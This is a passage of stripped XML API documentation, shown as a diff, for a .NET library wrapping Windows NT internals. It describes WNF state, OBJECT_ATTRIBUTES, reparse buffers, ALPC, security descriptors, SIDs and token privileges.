ID. + Optional explicit scope. + Optional matching changestamp. + True to throw on error. + The status from the update. + + + + Update state data for the WNF object. + + The data to set. + + + + Delete the state data for the WNF object. + + Optional explicit scope. + True to throw on error. + The NT status code. + + + + Delete the state data for the WNF object. + + Optional explicit scope. + + + + Delete the state data for the WNF object. + + + + + Overridden ToString method. + + The string representation. + + + + Get dictionary of well known WNF state names. + + This was dumped from perf_nt_c.dll 10.0.18362.1 using https://github.com/ionescu007/wnfun. + + + + Get the state name to name mappings. + + + + + Get the name to state name mappings. + + + + + Get the name of a state name if known. + + The state name. + The name of the state name, or null if unknown. + + + + Flags for OBJECT_ATTRIBUTES + + + + + None + + + + + Handle is protected from closing. + + + + + The handle created can be inherited + + + + + Audit handle close. + + + + + The object created is marked as permanent + + + + + The object must be created exclusively + + + + + The object name lookup should be done case insensitive + + + + + Open the object if it already exists + + + + + Open the object as a link + + + + + Create as a kernel handle (not used in user-mode) + + + + + Force an access check to occur (not used in user-mode) + + + + + Ignore impersonated device map when looking up object + + + + + Fail if a reparse is encountered + + + + + A class which represents OBJECT_ATTRIBUTES + + + + + Constructor. Sets flags to None + + + + + Constructor + + The name of the object + Attribute flags + + + + Constructor + + The name of the object + Attribute flags + A root object to lookup a relative path + + + + Constructor + + Attribute flags + + + + Constructor + + The name of the object + + + + Constructor + + An object ID. + The object attribute flags. + An optional root handle, can be SafeKernelObjectHandle.Null. Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Constructor + + The object name, can be null. + The object attribute flags. + An optional root handle, can be SafeKernelObjectHandle.Null. Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Constructor + + The object name, can be null. + The object attribute flags. + An optional root handle, Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + + + + Create an Object Attributes structure with a raw name. Useful for Object ID handling. + + The name of the object in raw bytes. + The object attribute flags. + An optional root handle, Will duplicate the handle. + An optional security quality of service. + An optional security descriptor. + The created object attributes. + + + + Dispose + + + + + Object type entry for an access check. + + + + + The object level. + + + + + The object type GUID. + + + + + The name of the object. + + + + + Constructor. + + + + + Constructor. + + The object type GUID. + The object level. + The name of the object type entry. + + + + Constructor. + + The object type GUID. + The object level. + + + + Constructor. + + The object type GUID. + + + + Overridden ToString method. + + The object formatted. + + + + This class allows a function to specify an optional Guid + + + + + Optional Guid + + + + + Constructor + + The GUID to initialize + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional uint16. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional int32. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional int64. + + + + + Optional value + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + This class allows a function to specify an optional length as a SizeT + + + + + Optional length + + + + + Constructor + + The length value + + + + Constructor + + The length value + + + + Constructor + + The length value + + + + Implicit conversion + + The length value + + + + This class allows a function to specify an optional pointer. + + + + + Optional length + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + Optional value. + + + + + Optional value. + + + + + Constructor + + The value + + + + Constructor + + + + + Implicit conversion + + The value. + + + + The result of a privilege check. + + + + + The list of privileges from the result. + + + + + The list of enabled privileges. + + + + + True indicates all privileges were held. + + + + + A single process module. + + + + + The module section. + + + + + Mapped base. + + + + + Image base. + + + + + Image size. + + + + + Flags. + + + + + Load order index. + + + + + Init order index. + + + + + Load count. + + + + + Full path name. + + + + + File name. + + + + + Reparse Tag value. + + + + + Base class for a reparse buffer. + + + + + The reparse tag in the buffer. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Constructor. + + The reparse tag to assign. + + + + Get a reparse buffer from a byte array. + + The byte array to parse + The reparse buffer. + + + + Get a reparse buffer from a byte array. + + The byte array to parse + True to return an opaque buffer if + the tag isn't known, otherwise try and parse as a generic buffer + The reparse buffer. + + + + Convert reparse buffer to a byte array in REPARSE_DATA_BUFFER format. + + The reparse buffer as a byte array. + + + + Convert reparse buffer to a byte array in the REPARSE_DATA_BUFFER_EX format. + + Flags for the buffer. + Existing GUID to match against. + Existing tag to matcha against. + The reparse buffer as a byte array. + + + + Get if a reparse tag is a Microsoft defined one. + + + + + Get if a reparse tag is a name surrogate. + + True if it's a surrogate reparse tag. + + + + Get if a reparse tag is a directory. + + + + + Generic GUID reparse buffer. + + + + + Constructor. + + The reparse tag. + The reparse GUID + Additional reparse data. + + + + Constructor. + + The reparse tag. + The reparse GUID + Additional reparse data. + + + + The reparse GUID. + + + + + Additional reparse data. + + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Reparse buffer with an opaque data blob. + + + + + Constructor. + + The reparse tag. + The opaque data blob. + + + + The opaque data blob. + + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Reparse buffer for an NTFS mount point. + + + + + Constructor. + + Substitution name to reparse to when accessing mount point. + Printable name for the mount point. + + + + Substitution name to reparse to when accessing mount point. + + + + + Printable name for the mount point. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Symlink flags. + + + + + None. + + + + + Substitution name is relative to the symlink. + + + + + Reparse buffer for an NTFS symlink. + + + + + Constructor. + + Substitution name to reparse to when accessing symlink. + Printable name for the symlink. + Symlink flags. + + + + Constructor. + + Substitution name to reparse to when accessing symlink. + Printable name for the symlink. + Symlink flags. + Create a global symlink rather than a normal symlink. + + + + Substitution name to reparse to when accessing symlink. + + + + + Printable name for the symlink. + + + + + Symlink flags. + + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Application type for execution alias. + + + + + Desktop bridge application. + + + + + UWP type 1 + + + + + UWP type 2 + + + + + UWP type 3 + + + + + Reparse buffer for an execution alias. + + + + + The execution alias version. + + + + + The name of the application package. + + + + + The entry point in the package. + + + + + The target executable. + + + + + Application type for the alias. + + + + + Flags, obsolete. + + + + + Constructor. + + The execution alias version. + The name of the application package. + The entry point in the package. + The target executable. + Apptype for the alias. + + + + Get reparse buffer data as a byte array (not including header). + + The reparse buffer data. + + + + Function to initialize this class by parsing the reparse buffer data (not including header). + + The length of the data to read. + The stream to read from. + + + + Safe buffer for an ALPC data view. + + + + + Flags for the data view. + + + + + Get the port section handle. + + + + + Convert the section view to a message attribute. + + The message attribute. + + + + Release the data view handle. + + True if successfully released. + + + + Safe buffer to contain an ALPC port message. + + + + + Constructor. + + The port message header. + The total length of allocated memory excluding the header. + + + + Constructor. Creates a receive buffer with a set length. + + The total length of allocated memory excluding the header. + + + + Get a NULL safe buffer. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe handle for a port section. + + + + + Release handle. + + True if handle released successfully. + + + + Safe handle for an ALPC security context. + + + + + Attribute flags. + + + + + Security quality of service. + + + + + Get the security context as a message attribute. + + The message attribute. + + + + Get whether handle is invalid. + + + + + Release handle. + + True if handle released successfully. + + + + Revoke the security context attribute. + + True to throw on error. + The NT status code. + + + + Revoke the security context attribute. + + + + + Safe buffer to contain a list of structures. + + + + + The count of elements of the array. + + + + + Constructor. + + Array of elements. + Additional data to place after the array. + + + + Constructor. + + Array of elements. + + + + Get a reference to the additional data. + + + + + Get a NULL safe array buffer. + + + + + Dispose buffer. + + True if disposing. + + + + Safe buffer which acts as a base class for all other SafeBuffer types in the library. + + + + + Constructor + + Size of the buffer. + An existing pointer to a buffer. + Specify whether safe handle owns the buffer. + Inidicates if the underlying buffer is writable. + + + + Constructor + + Size of the buffer. + An existing pointer to a buffer. + Specify whether safe handle owns the buffer. + + + + Length of the allocation. + + + + + Length of the allocation as a long. + + + + + Get the length as an IntPtr + + + + + Convert the safe handle to an array of bytes. + + The data contained in the allocaiton. + + + + Read a NUL terminated string for the byte offset. + + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated string + + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The byte offset to read from. + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string + + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string + + The string read from the buffer without the NUL terminator + + + + Read a unicode string from the buffer. + + The offset into the buffer to read. + The number of characters to read. + The read unicode string. + + + + Read a unicode string from the buffer. + + The number of characters to read. + The read unicode string. + + + + Write a unicode string to the buffer. + + The offset into the buffer to write. + The value to write. + + + + Write a unicode string to the buffer. + + The value to write. + + + + Read an array of bytes from the buffer. + + The offset into the buffer. + The number of bytes to read. + The read bytes. + + + + Read an array of bytes from the buffer. + + The number of bytes to read. + The read bytes. + + + + Write an array of bytes to the buffer. + + The offset into the buffer. + The bytes to write. + + + + Write an array of bytes to the buffer. + + The bytes to write. + + + + Read array from the buffer. + + The type to read. + The offset into the buffer. + The number of elements to read. + The read array. + + + + Read an array of complex structures which can contain references. Doing this from a buffer is a dangerous operation. + + The buffer type. + The offset into the buffer. + The number of elements. + The array structures. + This doesn't bounds check the buffer size for the array or embedded structures so could easily crash the application. + + + + Zero an entire buffer. + + + + + Fill an entire buffer with a specific byte value. + + The fill value. + + + + Get a structured buffer object at a specified offset. + + The type of structure. + The offset into the buffer. + The structured buffer object. + + + + Get the buffer as a memory stream + + + + + + Create a view accessor over the full buffer. + + The view accessor. + + + + Create a view accessor. + + Offset into the buffer + Size of view. + The view accessor. + + + + Create a view accessor. + + Offset into the buffer + Size of view. + True to make the view writable. False for read-only + The view accessor. + + + + A safe handle to an allocated global buffer. + + + + + Constructor + + Size of the buffer to allocate. + + + + Constructor + + The length of data to allocate. + The total length to reflect in the Length property. + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor + + Initialization data for the buffer. + + + + Get a buffer which represents NULL. + + + + + Resize the SafeBuffer. + + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Non-generic buffer to hold an IO_STATUS_BLOCK. + + + + + Constructor. + + + + + Get a buffer which represents NULL. + + + + + Safe handle which represents a kernel handle. + + + + + Constructor. + + An existing kernel handle. + True to own the kernel handle. + + + + Overridden ReleaseHandle method. + + True if successfully released the handle. + + + + Overridden IsInvalid method. + + + + + Get a handle which represents NULL. + + + + + Get or set whether the handle is inheritable. + + + + + Get or set whether the handle is protected from closing. + + + + + Get the NT type name for this handle. + + The NT type name. + + + + Overridden ToString method. + + The handle as a string. + + + + Class which is allocated from the process heap. + + + + + Constructor + + Size of the buffer to allocate. + + + + Constructor + + Initialization data for the buffer. + + + + Constructor + + The length of data to allocate. + The total length to reflect in the Length property. + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Get a buffer which represents NULL. + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe SID buffer. + + This is used to return values from the RTL apis which need to be freed using RtlFreeSid + + + + Safe handle for an in/out structure buffer. + + The type of structure as the base of the memory allocation. + + + + Constructor + + Structure value to initialize the buffer. + + + + Constructor, initializes buffer with a default structure. + + + + + Constructor + + Size of the buffer. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor + + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + An existing pointer to an existing HGLOBAL allocated buffer. + Specify whether safe handle owns the buffer. + + + + Constructor, initializes buffer with a default structure. + + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + + + + Constructor + + Structure value to initialize the buffer. + Additional data to add to structure buffer. + If true additional_size is added to structure size, otherwise reflects the total size. + + + + Get a buffer which represents NULL. + + + + + Overridden ReleaseHandle method. + + True if successfully released the memory. + + + + Get or set the result structure in the memory buffer. + + + + + Get a reference to the additional data. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe buffer for a list of Token groups. + + + + + Constructor. + + The list of SID and attributes. + The list of allocated SIDs. + + + + NULL safe buffer. + + + + + Create a buffer from a list of groups. + + The group list. + The safe buffer. + + + + Dispose. + + True if disposing. + + + + Safe buffer for token privileges. + + + + + Constructor. + + List of privileges. + + + + NULL safe buffer. + + + + + Security descriptor control flags. + + + + + Security descriptor. + + + + + Discretionary access control list (can be null) + + + + + System access control list (can be null) + + + + + Owner (can be null) + + + + + Group (can be null) + + + + + Get or set Control flags. This is computed based on the current state of the SD. + + + + + Revision value + + + + + The resource manager control flags. + + + + + Get or set an associated NT type for this security descriptor. + + + + + Get or set mandatory label. Returns a medium label if it doesn't exist. + + + + + Get the process trust label. + + + + + Get list of access filters. + + + + + Get list of resource attributes. + + + + + Get the scoped policy ID. + + + + + Get or set the integrity level + + + + + Get or set the server security flag. + + + + + Get or set the DACL untrusted flag. + + + + + Get whether the DACL is present. + + + + + Get count of ACEs in DACL. + + + + + Get whether the SACL is present. + + + + + Get count of ACEs in DACL. + + + + + Indicates if the security descriptor was constructed from a self relative format. + + + + + Indicates if the SD's DACL is canonical. + + + + + Indicates if the SD's SACL is canonical. + + + + + Indicates if the SD's DACL is defaulted. + + + + + Indicates if the SD's SACL is defaulted. + + + + + Indicates if the SD's DACL is auto-inherited. + + + + + Indicates if the SD's SACL is auto-inherited. + + + + + Indicates if the SD came from a container. + + + + + Indicates the SD has audit ACEs present. + + + + + Indicates the SD has a mandatory label ACE present. + + + + + Indicates the SD has a NULL DACL. + + + + + Indicates the SD has a NULL SACL. + + + + + Get the access rights enum type for this SD based on the NT Type property. + + + + + Get the mandatory label. Returns null if it doesn't exist. + + True to include InheritOnly ACEs in the search. + The valid mandatory ACE for this security descriptor. Or null if it doesn't exist. + + + + Get the mandatory label. Returns null if it doesn't exist. + + The valid mandatory ACE for this security descriptor. Or null if it doesn't exist. + + + + Convert security descriptor to a byte array + + The binary security descriptor + + + + Convert security descriptor to SDDL string + + The parts of the security descriptor to return + True to throw on error. + The SDDL string + + + + Convert security descriptor to SDDL string + + The parts of the security descriptor to return + The SDDL string + + + + Convert security descriptor to SDDL string + + True to throw on error. + The SDDL string + + + + Convert security descriptor to SDDL string + + The SDDL string + + + + Converts the security to a base64 string. + + True to insert line breaks in the base64. + The relative SD as a base64 string. + + + + Converts the security to a base64 string. + + The relative SD as a base64 string. + + + + Convert security descriptor to a safe buffer. + + True to return an absolute security descriptor, false for self-relative. + True to throw on error. + A safe buffer for the security descriptor. + + + + Convert security descriptor to a safe buffer. + + True to return an absolute security descriptor, false for self-relative. + A safe buffer for the security descriptor. + + + + Convert security descriptor to a safe buffer. + + A safe buffer for the security descriptor. + This returns a self-relative security descriptor. + + + + Add an ACE to the DACL, creating the DACL if needed. + + The ACE to add to the DACL. + + + + Add an ACE to the SACL, creating the SACL if needed. + + The ACE to add to the SACL. + + + + Add an access allowed ACE to the DACL + + The access mask + The ACE flags + The SID in SDDL form + + + + Add an access allowed ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an access allowed ACE to the DACL + + The access mask + The ACE flags + The SID + + + + Add an access allowed ACE to the DACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The ACE flags + The SID in SDDL form + + + + Add an access denied ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an access denied ACE to the DACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The ACE flags + The SID + + + + Add an audit success ACE to the SACL + + The access mask + The SID in SDDL form + + + + Add an audit success ACE to the SACL + + The access mask + The SID + + + + Add an access denied ACE to the DACL + + The access mask + The SID in SDDL form + + + + Add an audit fail ACE to the SACL + + The access mask + The SID + + + + Add mandatory integrity label to SACL + + The integrity level + + + + Add mandatory integrity label to SACL + + The integrity level + The mandatory label policy + + + + Add mandatory integrity label to SACL + + The integrity level + The ACE flags. + The mandatory label policy + + + + Add mandatory integrity label to SACL + + The integrity label SID + The ACE flags. + The mandatory label policy + + + + Removes the mandatory label if it exists. + + + + + Map all generic access in this security descriptor to the default type specified by NtType. + + + + + Map all generic access in this security descriptor to a specific type. + + The type to get the generic mapping from. + + + + Map all generic access in this security descriptor to a specific type. + + The generic mapping. + + + + Unmap all generic access in this security descriptor to the default type specified by NtType. + + + + + Unmap all generic access in this security descriptor to a specific type. + + The type to get the generic mapping from. + + + + Unap all generic access in this security descriptor to a specific type. + + The generic mapping. + + + + Modifies a security descriptor from a new descriptor. + + The security descriptor to update with. + The parts of the security descriptor to update. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The NT status code. + + + + Modifies a security descriptor from a new descriptor. + + The security descriptor to update with. + The parts of the security descriptor to update. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + + + + Converts the SD to an Auto-Inherit security descriptor. + + The parent security descriptor. + Optional object type GUID. + True if a directory. + Generic mapping for the object. + True to throw on error. + The NT status code. + + + + Converts the SD to an Auto-Inherit security descriptor. + + The parent security descriptor. + Optional object type GUID. + True if a directory. + Generic mapping for the object. + + + + Canonicalize the DACL if it exists. + + + + + Canonicalize the SACL if it exists. + + + + + Standardize security descriptor according to Active Directory rules. + + + + + Clone the security descriptor. + + The cloned security descriptor. + + + + Overridden ToString method. + + The security descriptor as an SDDL string. + + + + Constructor. + + Native pointer to security descriptor. + + + + Constructor. + + The process containing the security descriptor. + Native pointer to security descriptor. + + + + Constructor + + + + + Constructor. + + The NT type for the security descriptor. + + + + Constructor + + Binary form of security descriptor + Optional NT type for security descriptor. + + + + Constructor + + Binary form of security descriptor + + + + Constructor from a token default DACL and ownership values. + + The token to use for its default DACL. + + + + Constructor + + Base object for security descriptor + Token for determining user rights + True if a directory security descriptor + + + + Constructor from an SDDL string + + The SDDL string + Thrown if invalid SDDL + + + + Constructor from an SDDL string + + The SDDL string + Optional NT type for security descriptor. + Thrown if invalid SDDL + + + + Parse a security descriptor. + + Native pointer to security descriptor. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Native pointer to security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + The NT type for the security descriptor. + True if the security descriptor is from a container. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Safe buffer to security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Binary form of security descriptor + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + Binary form of security descriptor + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + The SDDL form of the security descriptor. + The NT type for the security descriptor. + True if the security descriptor is from a container. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor. + + The SDDL form of the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + The NT type for the security descriptor. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + True to throw on error. + The parsed Security Descriptor. + + + + Parse a security descriptor from a base64 string + + The base64 string. + The parsed Security Descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + Optional list of object type GUIDs. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + Optional list of object type GUIDs. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + True to throw on error. + The new security descriptor. + + + + Create a new security descriptor from a parent. + + The parent security descriptor. Can be null. + The creator security descriptor. + True if the objec to assign is a directory. + Auto inherit flags. + Optional token for the security descriptor. + Generic mapping. + The new security descriptor. + + + + A security descriptor SID which maintains defaulted state. + + + + + The SID. + + + + + Indicates whether the SID was defaulted or not. + + + + + Constructor from existing SID. + + The SID. + Whether the SID was defaulted or not. + + + + Convert to a string. + + The string form of the SID + + + + Clone the security descriptor SID. + + The cloned SID. + + + + The type of the security attribute name. + + + + + Class to represent an attribute name operand. + + + + + The type of attribute. + + + + + The name of the attribute. + + + + + Constructor. + + The type of the attribute. + The name of the attribute. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a composite conditional operand. + + + + + List of operands. + + + + + Constructor. + + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a conditional expression. + + + + + Serialize the expression to a byte array. + + The expression as a byte array. + + + + Overridden ToString method. + + The object as a string. + + + + Parse a binary conditional expression. + + The data to parse. + True to throw on error. + The parsed conditional expression. + + + + Parse a binary conditional expression. + + The data to parse. + The parsed conditional expression. + + + + Parse an SDDL conditional expression. + + The SDDL expression to parse. + True to throw on error. + The parsed conditional expression. + + + + Parse an SDDL conditional expression. + + The SDDL expression to parse. + The parsed conditional expression. + + + + Get list of the conditional operands. + + + + + Size of conditional integer operand. + + + + + Sign of conditional integer operand. + + + + + Base of conditional integer operand. + + + + + Class to represent a conditional integer operand. + + + + + Size of the integer. + + + + + Value of the integer. + + + + + Sign of the integer. + + + + + Base of the integer. + + + + + Constructor. + + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent an octet string conditional operand. + + + + + The value of the operand. + + + + + Constructor. + + The value of the operand. + + + + Overridden ToString method. + + The object as a string. + + + + Abstract class to represent a conditional expression operand. + + + + + Conditional operator type. + + + + + Class to represent a conditional operator operand. + + + + + The type of operator. + + + + + Constructor. + + The type of operator. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a SID conditional operand. + + + + + The SID value. + + + + + Constructor. + + The SID value. + + + + Overridden ToString method. + + The object as a string. + + + + Class to represent a string conditional operand. + + + + + The string value. + + + + + Constructor. + + The string value. + + + + Overridden ToString method. + + The object as a string. + + + + Interface for an NT object to query and set a security descriptor. + + + + + Get the name of the object. + + + + + Get the NtType for this object. + + The NtType for the object. + + + + Get the object's security descriptor. + + + + + Get whether the object is a container. + + + + + Check if access is granted to a set of rights + + The access rights to check + True if all the access rights are granted + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status code. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Class representing a Central Access Policy. + + + + + The CAP SID. + + + + + CAP Flags. + + + + + Name of the CAP. + + + + + Description of the CAP. + + + + + Change ID. Normally a date time when changed. + + + + + The list of rules associated with this policy. + + + + + Parse the policy from the registry. + + The base key for the registry policy. + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the registry. + + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the registry. + + The list of Central Access Policies. + + + + Parse the policy from the Local Security Authority. + + True to throw on error. + The list of Central Access Policies. + + + + Parse the policy from the Local Security Authority. + + The list of Central Access Policies. + + + + Class representing a Central Access Rule. + + + + + CAP Rule Flags. + + + + + Name of the CAP Rule. + + + + + Description of the CAP Rule. + + + + + Change ID. Normally a date time when changed. + + + + + Conditional Expression to determine who to applie the rule to. + + + + + The CAP Rule security descriptor. + + + + + The CAP Rule staged security descriptor. + + + + + Class to represent a Security Identifier. + + + + + Maximum size of a SID buffer. + + + + + The SIDs authority. + + + + + List of the SIDs sub authorities. + + + + + Get the account name of the SID or the SDDL form if no corresponding name. + + + + + Constructor for authority and sub authorities. + + The identifier authority. + The sub authorities. + + + + Constructor for authority and sub authorities. + + The identifier authority. + The sub authorities. + + + + Constructor from an unmanged buffer. + + A pointer to a buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from an unmanged buffer. + + A safe buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from a safe SID handle. + + A safe SID handle containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from an manged buffer. + + A buffer containing a valid SID. + Thrown if the buffer is not valid. + + + + Constructor from existing Sid. + + The existing Sid. + + + + Constructor from an SDDL string. + + The SID in SDDL format. + + new Sid("S-1-0-0"); + new Sid("WD"); + + + + + + Constructor from a SID name. + + The SID name. + + + + Construct a SID from a binary reader. + + The binary reader. + + + + Convert the SID to a safe buffer. + + The safe buffer containing the SID. + + + + Convert to a managed byte array. + + The managed byte array. + + + + Compares two sids to see if their prefixes are the same. The sids must have the same number of subauthorities. + + The sid to compare against + True if the sids share a prefix. + + + + Compare two Sids. + + The other Sid to compare. + True if the Sids are equal. + + + + Equality operator. + + Sid 1 + Sid 2 + True if the Sids are equal. + + + + Inequality operator. + + Sid 1 + Sid 2 + True if the Sids are not equal. + + + + Get hash code. + + The hash code. + + + + Convert to an SDDL format string. + + The SDDL format string (e.g. S-1-1-0) + + + + Does this SID dominate another. + + The other SID. + True to throw on error. + True if the sid dominates. + + + + Does this SID dominate another. + + The other SID. + True if the sid dominates. + + + + Does this SID dominate another for trust. + + The other SID. + True to throw on error. + True if the sid dominates. + + + + Does this SID dominate another for trust. + + The other SID. + True if the sid dominates. + + + + Checks if the SID starts with the specified SID. + + The specified SID to check against. + True if the current SID starts with the specified SID. + + + + Create a SID relative to this one. + + The list of RIDs. + The relative SID. + + + + Create a SID sibling to this SID. + + The RIDs to replace the final RID with. + The sibling SID. + This replaces the final RID with one or more addditional RIDs. + + + + Get the SID name for this SID. + + True to bypass the SID name cache. + The SID name. + + + + Get the SID name for this SID. + + The SID name. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + True to throw on error. + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Parse a byte array. + + The byte array to parse. + True to throw on error. + The parsed SID. + + + + Parse a byte array. + + The pointer to parse. + True to throw on error. + The parsed SID. + + + + Predefined security authorities + + + + + Represents an identifier authority for a SID. + + + + + Get a reference to the identifier authority. This can be used to modify the value + + + + + Constructor. + + + + + Construct from an existing authority array. + + The authority, must be 6 bytes in length. + Thrown if authority is not the correct length. + + + + Constructor from a simple predefined authority. + + The predefined authority. + + + + Construct from an Int64. + + The authority as an Int64. + + + + Compares authority to another. + + The other authority to compare against. + True if authority is equal. + + + + Get hash code. + + The authority hash code. + + + + Determines if this is a specific security authority. + + The security authority. + True if the security authority. + + + + Convert authority to a 64 bit integer. + + The authority as a 64 bit integer. + + + + Overridden ToString method. + + The security authority as a string. + + + + Source for a SID name. + + + + + SDDL string. + + + + + LSASS lookup. + + + + + Named capability. + + + + + Package name SID. + + + + + From a process trust level. + + + + + Well known SID. + + + + + Scoped policy SID. + + + + + Manually added name. + + + + + Represents a name for a SID. + + + + + The qualified name of the SID. Either the combination of + Domain and Name or the SDDL SID. + + + + + The domain name, if present. + + + + + The user name. + + + + + The source of name. + + + + + The use of the name. + + + + + The SDDL format of the SID. + + + + + Used for caching. Indicates the lookup name was denied rather than not available. + + + + + Disposable class to scope an impersonation context. + + + + + Revert impersonation back to the current user. + + + + + Class to represent the state of a token privilege + + + + + Privilege attributes + + + + + Privilege LUID + + + + + Get the token privilege value enum. + + + + + Get the name of the privilege + + The privilege name + + + + Get the display name/description of the privilege + + The display name + + + + Get whether privilege is enabled + + + + + Get whether privilege is enabled + + + + + Constructor + + The privilege LUID + The privilege attributes + + + + Constructor + + The privilege value + The privilege attributes + + + + Constructor + + The privilege name. + The privilege attributes + + + + Constructor + + The privilege name. + + + + Conver to a string + + The privilege name. + + + + Standard UNICODE_STRING class + + + + + 